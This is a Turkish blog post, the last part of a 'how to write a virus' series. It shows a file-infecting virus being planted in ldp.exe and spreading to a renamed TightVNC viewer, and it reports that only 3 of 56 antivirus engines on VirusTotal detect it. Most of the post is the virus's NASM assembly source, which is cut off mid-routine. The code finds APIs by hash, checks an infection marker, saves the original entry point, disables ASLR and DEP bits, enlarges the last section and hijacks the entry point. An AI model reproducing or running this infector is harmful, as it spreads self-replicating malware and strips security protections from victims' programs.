27 Haziran 2015

Virüs 101 - Nasıl Virüs Yazılır - Bölüm 4

Virüs makale dizimizin son bölümü olan bu bölümde virüsümüzü deneyeceğiz. Bunun için önce virüs kodumuzu nasm assembler’ı ile derleyelim.




Derlenmiş olan kodumuza bir hex editör ile göz atalım.



Assemble edilmiş kodumuzun uzunluğu hex 52E uzunluğunda.
Bu kodu kobay uygulamamız olan ldp.exe’nin son section’ının sonuna elle yerleştireceğiz.






Kod bölümüzden sonra file alignment kısıtına uymak ve toplam hex 800 byte’lık alanı doldurmak için dosyayı “00” ile pad’liyoruz. (0x38200 – 0x37A00 = 0x800)





Bir sonraki aşamada ldp.exe’nin Address of Entry Point değerini orijinal değerinden bizim kodumuzun eklendiği bölümün adresine çevirmemiz lazım.



Neden 0x3A400’de 0x37A00 değil? Bu sorunun cevabı PE dosya formatında saklı. Çünkü PE dosya imajı hafızaya yüklendiğinde son section’ın bitiş adresi burası ve bu değeri son section header’ındaki RVA adresine Size of Raw Data’yı ekleyerek bulabiliriz (0x33000 + 0x7400 = 0x3A400):


Zararlı yazılım stratejimize göre orjinal başlangıç noktasını IMAGE_DOS_HEADER içinde OEM alanına saklamamız gerekiyordu (ikinci makalede bahsettiğimiz konuların tekrarı oluyor biliyorum, ama öğrenmek için tekrar iyidir).

 

Intel mimarisinde little endian konusunu daha önce konuşmuştuk.

Artık elle virüs bulaştırdığımız ldp.exe’yi başka bir çalıştırılabilir dosyaya virüsü bulaştırmak için kullanabiliriz. Daha önce de belirttiğim gibi virüs kodumuz tüm PE dosyalarında işe yaramıyor. Bunun nedeninin PE dosya başlık alanları içindeki bütünlük kurallarına uymak için gerekli düzenlemeleri yapmamamız olduğunu da belirtmiştik. Ancak yine de kodumuzun işe yaradığı dosyalar bulunabiliyor. Bunlardan birisi de Tight VNC (tvnviewer.exe) uygulaması.

Şimdi enfekte ldp.exe uygulamamız ile ismi “a.exe” olarak değiştirilmiş tvnviewer.exe uygulamasını aynı dizine yerleştirelim.


Şimdi enfekte uygulamamızı başlatalım.


Bakalım a.exe uygulamamız enfekte olmuş mu?

Address of entry point adresi oldukça ileri bir adres gibi görünüyor.


Bu adres son section’ın içinde olmalı. Virüsümüz işe yaramış olabilir.


a.exe dosyamızı immunity debugger ile çalıştırarak neler olduğunu inceleyelim.


Immunity debugger bizi uyarıyor, anti-virüs’lerden daha akıllı olduğunu aşağıda göreceksiniz.


F9 tuşuna bastığımızda uygulamamız Address of Entry Point noktasına ilerliyor ve bu noktada bekliyor.


Tekrar F9’a bastığımızda ise VNC Viewer’ın başarı ile çalıştığını görüyoruz.


Virüsümüz başarılı oldu diyebilmek için bu dosyanın da başka bir dosyaya virüsü bulaştırdığından emin olmalıyız. Bu konuda bana güvenebilirsiniz, virüs kendini tekrar temiz bir ldp.exe dosyasına (tabi adını a.exe olarak değiştirdikten sonra) bulaştırabiliyor.

Bu noktada malware analizi yapan arkadaşlara reversing bilgisinin ne kadar değerli olacağını göstermek istiyorum. Zira uygulamanın zararlı bölümü ne bir metin içeriyor, ne de import edilmiş bir fonksiyonu kullanıyor. Bu yüzden fonksiyonalitesini anlamak için satır satır disassemble edilmiş kodları okumak gerekiyor.

Şimdi a.exe’yi IDA Pro’ya yükleyerek zararlı kod nasıl görünüyor inceleyelim.


Kodu IDA Pro’da açtığımızda IDA Pro otomatik olarak Address of Entry Point noktasında tespit ettiği fonksiyonu görüntüledi.


Benim nahoş kodlamamın da katkısı ile zararlı yazılım gerçekten anlaşılması zor görünüyor.


Ancak yine de IDA Pro’nun Ascii karakter çevrim imkanından faydalanarak ilk bakışta biraz yol almak mümkün olacaktır:


Son olarak virüslü dosyamızı Virüs Total’e yükleyerek neler olacağını görelim.





56 antivirüs’ten sadece 3 tane.

Enfekte olma ihtimalini antivirüs olmayan Immunity Debugger’ın bile sırf Address of Entry Point’teki gariplikten anlamasına rağmen anti virüslerin bu kadar başarısız olması sanırım antivirüs üreticilerinin false positive’den ne kadar çekindiğini gösteriyor.

Aşağıdaki virüs kodumuz ile birlikte nasıl virüs yazılır makale serimizi tamamlamış bulunuyoruz.

[BITS 32]

; EAX hariç tüm genel amaçlı register'ları Shellcode'umuza girilmeden önceki halleri ile saklıyoruz 
push ebx ; callee saved register
push esi ; callee saved register
push edi ; callee saved register
push ecx ; caller saved register
push edx ; caller saved register
push ebp ; stack frame tabanı
push esp ; stack tavanı

;kernel32.dll modül adresinin bulunması
push 0x772a2220 ; hash(kernel32.dll)
call modul_bul ;EAX ile modül baz adresini döndürür
add esp, 4; call parametre alanını geri veriyoruz

;LoadLibraryA fonksiyon adresinin bulunması (kernel32.dll kütüphanesinde)
push eax ;kernel32.dll modül adresi
push 0x583c436c ;hash(LoadLibraryA)
call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür
add esp, 8; call parametre alanını geri veriyoruz

; LoadLibraryA fonksiyonunu çağırmak için "msvcr120.dll" string'ini stack'e yazıyoruz
push 0 ; C string'in sonu
push 0x6c6c642e ; "lld."
push 0x30323172 ; "021r"
push 0x6376736d ; "cvsm"
push esp ;String'in stack'teki adresini stack'e yazıyoruz
call eax ; call LoadLibraryA
add esp, 16 ; call parametre alanını geri veriyoruz

mov esi, eax ; ESI callee saved bir register olduğu için MSVCR120.DLL modülünün adresini bu register'da saklayacağız
; ESI = MSVCR120.DLL

;fopen fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x0442088e ;hash(fopen)
call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz

;Kurban dosyanın açılması
push 0x00000065 ; "\0\0\0e"
push 0x78652e61 ; "xe.a"
mov ebx, esp ;Dosya adı string'inin stack'teki adresini EBX register'ına atıyoruz
push 0x002b6272 ; "\0+br"
push esp ;Dosya açma modu string'inin stack'teki adresini stack'e yazıyoruz
push ebx ;Dosya adı string'inin stack'teki adresini stack'e yazıyoruz
call eax ; call fopen("filename","r+")
add esp, 20 ;Stack'te tükettiğimiz alanları ve fopen parametreleri için alınan alanı geri veriyoruz

test eax, eax ;Eğer dosya mevcut ve başarı ile açıldıysa EAX register'ı 0'dan farklı bir değer olmalı
jz son_nokta ; Dosya açılamadıysa uygulama akışını orjinal entry point'e yönlendirme noktasına atlıyoruz

mov ebx, eax ; file handle'ını EBX register'ına atıyoruz (FILE *stream)

; #define SEEK_CUR    1
; #define SEEK_END    2
; #define SEEK_SET    0
; int fseek(FILE *stream, long offset, int origin)

;fseek fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x0462085f ; hash(fseek)
call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür
add esp, 8; call parametre alanını geri veriyoruz
mov edi, eax ;fseek fonksiyonunun adresini EDI'a atıyoruz
; EDI = FSEEK

push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push 0x24 ; OEM alanı offset değeri
push ebx ; file handle'ı yukarıda EBX'e atılmıştı
call edi ; call fseek(FILE *stream, long offset, int origin)
add esp, 12 ;call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)

;fread fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push esi ; msvcr120.dll modül adresi
push 0x04520858 ;hash(fread)
call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür
add esp, 8; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
mov ecx, eax ; fread fonksiyonunun adresini ECX'e yazıyoruz
; ECX = FREAD

sub esp, 4 ; buffer için yer açıyoruz
mov edx, esp ; buffer adresini EDX'e atıyoruz
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push edx ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
; ESP+4'teyiz

; OEM alanında yer alan veri 0'dan farklı ise dosya zaten infected olduğundan kodu sonlandırıyoruz
mov eax, [esp] ; Buffer'daki değeri EAX'e atıyoruz
add esp, 4 ; Buffer alanını geri veriyoruz (ESP'yi yine orjinal seviyesine indiriyoruz)
; ESP orjinal noktasında
test eax, eax ; OEM alanındaki verinin 0 olup olmadığını kontrol ediyoruz
jnz son_nokta ; Eğer 0'dan farklı ise daha önceden enfekte olmuştur, program orjinal noktadan devam edebilir

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Dosya İşlemleri ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; 1. AMAÇ: Address of Entry Point değerini oku ve OEM değerine yaz
; OEM alanına yazılan orjinal Address of Entry Point değeri shellcode'umuz çalıştıktan sonra uygulamanın normal akışına devam etmesi için kullanılacak

; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru 
add esp, 12 ; call parametre alanını geri veriyoruz

; IMAGE_NT_HEADERS içinde 0x28 offset'e git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x28 ; IMAGE_NT_HEADERS içinde 0x28 offset'i
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Address of Entry Point değerini oku
sub esp, 4 ; buffer için yer açıyoruz
mov edx, esp ; buffer adresini EDX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push edx ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
; ESP+4'teyiz (EDX tarafından işaret ediliyor)

; OEM değerinin bulunduğu 0x24 offset'ine git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push 0x24 ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)

;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür
add esp, 8; call parametre alanını geri veriyoruz

push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push edx ; buffer
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz
; ESP orjinal noktasında

; 2. AMAÇ: Dosya'daki NX_COMPAT ve ASLR bit'lerini iptal et (ecx, edi ve ebx register'larına dokunmayacağız)
; DEP desteğini kaldırarak executable olmayan bir section'da da shellcode'umuzu çalıştırabileceğiz

; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru
add esp, 12 ; call parametre alanını geri veriyoruz

; IMAGE_NT_HEADERS içinde 0x5C offset'e git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x5C ; IMAGE_NT_HEADERS içinde 0x5C offset'i - DLL Characteristics son 2 byte'ta
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Son 2 Byte'tında DLL Characteristics değeri bulunan veriyi oku
sub esp, 4 ; buffer için yer aç
mov edx, esp ; buffer adresini EDX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push edx ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
;Bu noktada son 2 Byte'ı DLL Characteristics değerini içeren değer ESP'nin işaret ettiği buffer'da ve bu adres aynı zamanda EDX register'ı tarafından işaret ediliyor

pop edx ; Okuduğumuz DLL Characteristics değeri şu anda EDX'te
; ESP orjinal noktasında
and edx, 0xFEBFFFFF ; Dynamic Base 0x0040 ve NX Compat 0x0100 bitlerini sıfırlamak için AND işlemi gerçekleştiriyoruz
push edx ; Dynamic Base 0x0040 ve NX Compat 0x0100 bitleri sıfırlanmış DLL Characteristics değerini tekrar stack'e yazıyoruz
; ESP+4
mov edx, esp ; Buffer'ın adresini EDX'e atıyoruz

; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru
add esp, 12 ; call parametre alanını geri veriyoruz
; 0x5C offset'ine git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x5C ; IMAGE_NT_HEADERS içinde 0x5C offset'i - DLL Characteristics
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz

push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push edx ; buffer
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz
; ESP orjinal noktasında

; 3. AMAÇ: Son section header'ı bul ve düzenle
; Dosyadaki section sayısını bularak son section'ın başlangıç adresini buluyoruz. Daha sonra bu section içindeki virtual ve fiziksel büyüklük değerlerini artırıyoruz.

; IMAGE_NT_HEADERS offset değerinin stack'e kaydedilmesi'nin BAŞLANGICI
; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru
add esp, 12 ; call parametre alanını geri veriyoruz
; Bu noktada EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor
push eax ; IMAGE_NT_HEADERS offseti
; ESP+4
; IMAGE_NT_HEADERS offset değerinin stack'e kaydedilmesi'nin SONU

; Son section hariç toplam section header uzunlukları toplamının stack'e kaydedilmesi'nin BAŞLANGICI
; IMAGE_NT_HEADERS içinde 0x06 offset'e git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x06 ; IMAGE_NT_HEADERS içinde 0x06 offset'i
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Number of Sections değerini oku
xor eax, eax
push eax ; Buffer için yer açıyoruz, aynı zamanda bu alanı sıfırlıyoruz
; ESP+8
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 2 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

;Bu noktada Number of Sections değeri ESP'nin işaret ettiği buffer'da. 
mov edx, [esp] ; Number of Sections değeri EDX'e atanıyor
add esp, 4 ; buffer için kullandığımız 4 byte'ı iade ediyoruz
; ESP+4

; Çarpma işlemi hazırlığı
xor eax, eax
mov al, 0x28 ; her bir section header'ın uzunluğu
dec edx ; son section header'ın başına gitmeyi hedeflediğimizden section sayısını bir azaltıyoruz
mul dl ; EDX = section sayısı - 1 değerini içeriyordu ve bu değerin 1 byte'ı aşma olasılığı çok düşük. Çarpma sonucu AH ve AL register'larında yer alacaktır
;Bu noktada AX ve dolayısıyla EAX register'ı son section hariç toplam section header uzunluğunu içeriyor
push eax ; Son section hariç Toplam Section Header uzunluğunu stack'e yazıyoruz
; ESP+8
; Son section hariç toplam section header uzunlukları toplamının stack'e kaydedilmesi'nin SONU

; Size of Optional Header'ın EDX register'ına saklanmasının BAŞLANGICI
; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru
add esp, 12 ; call parametre alanını geri veriyoruz
; Bu noktada EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor

; IMAGE_NT_HEADERS içinde 0x14 offset'e git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x14 ; IMAGE_NT_HEADERS içinde 0x14 offset'i
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Size of Optional Header değerini oku
xor eax, eax
push eax ; Buffer için yer açıyoruz, aynı zamanda bu alanı sıfırlıyoruz
; ESP+12
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 2 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

;Bu noktada Size of Optional Header değeri ESP'nin işaret ettiği buffer'da
mov edx, [esp] ; Toplama işlemini EDX register'ı üzerinde yapacağız
add esp, 4 ; buffer için kullandığımız 4 byte'ı iade ediyoruz
; ESP+8
; Size of Optional Header'ın EDX register'ına saklanmasının SONU

;Bu noktada 
;EDX'te Size of Optional Header
;ESP tarafından işaret edilen alanda son section hariç Toplam Section Header uzunluğu
;ESP+4 tarafından işaret edilen alanda IMAGE_NT_HEADERS offseti yer alıyor
;Son section header'ın başlangıcı = EDX + [ESP] + [ESP + 4] + 0x18 (Signature + IMAGE_FILE_HEADER)
add edx, [esp]
add edx, [esp + 4]
add edx, 0x18 ; Bu noktada son section header'ın başlangıç offset'i EDX register'ında
add esp, 8 ; Uzunluk bilgilerini saklamak için kullandığımız alanları (TOPLAM 8 BYTE) iade ediyoruz
; ESP orjinal noktasında

; Artık EDX register'ında bulunan offset bilgisini kullanarak section büyüklüklerini 0x800'er byte artırabiliriz

; VIRTUAL SIZE değerinin düzenlenmesi
add edx, 0x08 ; Son section header'daki Virtual Size offset'i
; Son section header'daki Virtual Size offset'ine git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Virtual Size değerini oku
sub esp, 4 ; buffer için yer aç
; ESP+4
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Bu noktada ESP buffer'ımıza işaret ediyor
mov eax, [esp]
add eax, 0x800 ; 0x800 byte artırmamızın ve orjinal virüs kodumuzda da 0x800 byte'ı doldurmamızın nedeni Virtual Size'ın fiziksel alandan küçük olması halinde payload'umuzun bir kısmının kırpılması riskini azaltmak
add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz
; ESP orjinal noktasında
push eax ; Yeni Virtual Size değerini stack'e kaydediyoruz
; ESP+4
mov ebp, esp ; Yeni Virtual Size değerinin tutulduğu buffer'ın adresini EBP'ye yazıyoruz

; Yeni Virtual Size'ı section header'a yaz
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz

push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push ebp ; buffer *
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz
; ESP orjinal noktasında

; SIZE OF RAW DATA değerinin düzenlenmesi
add edx, 0x08 ; Son section header'daki Size of Raw Data offset'i
; Son section header'daki Size of Raw Data offset'ine git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Size of Raw Data değerini oku
sub esp, 4 ; buffer için yer aç
; ESP+4
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Bu noktada ESP buffer'ımıza işaret ediyor
mov eax, [esp]
add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz
; ESP orjinal noktasında
push eax ; Orjinal Size of Raw Data değerini stack'e kaydediyoruz
; ESP+4
add eax, 0x800 ; Neden 0x800 byte eklediğimiz yukarıda açıklandı
push eax ; Yeni Size of Raw Data değerini stack'e kaydediyoruz
; ESP+8
mov ebp, esp ; Dosyaya yazılacak olan yeni Size of Raw Data'nın buffer adresi EBP'ye atanıyor

; Yeni Size of Raw Data'yı section header'a yaz
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz

push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push ebp ; buffer *
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

add esp,4 ; Buffer için aldığımız alanı iade ediyoruz
; ESP+4 (Orjinal Size of Raw Data değeri stack'te)

add edx, 0x04 ; Dosya'nın son section'ının sonuna payload'umuzun yazılması kısmında kullanmak üzere Dosya'nın son section header'ındaki Pointer to Raw Data offset'i hesaplıyoruz
push edx ; Pointer to Raw Data offset'i sonra kullanılmak üzere STACK'e yazıyoruz - bu bilgi aşağıda kullanılacak
; ESP+8 (Pointer to Raw Data offset'i stack'te)

; 4. AMAÇ: Address of Entry Point'in son section'da payload'un yazılacağı adres olarak değiştirilmesi
; Bu noktada ESP -> Pointer to Raw Data offset'i, ESP+4 -> Orjinal Size of Raw Data'yı içeriyor

sub edx, 0x08 ; EDX dosya'nın son Section Header'ının RVA offset'ine işaret ediyor
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Son section'ın RVA değerini oku
sub esp, 4 ; buffer için yer aç
; ESP+12
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Bu noktada ESP buffer'ımıza işaret ediyor
mov ebp, [esp] ; EBP son section header'daki RVA değerini içeriyor
add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz
; ESP+8

add ebp, [esp+4]; Section RVA değerine Orjinal Size of Raw Data'yı ekliyoruz

push ebp ; Payload'umuzun yazılacağı RVA değerini STACK'e buffer alanına yazıyoruz
; ESP+12
mov ebp, esp ; Buffer alanının adresini EBP'ye kaydediyoruz

; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru
add esp, 12 ; call parametre alanını geri veriyoruz

; IMAGE_NT_HEADERS içinde 0x28 offset'e git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x28 ; IMAGE_NT_HEADERS içinde 0x28 offset'i
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz

push ecx ; Caller saved register olan ECX'i saklıyoruz
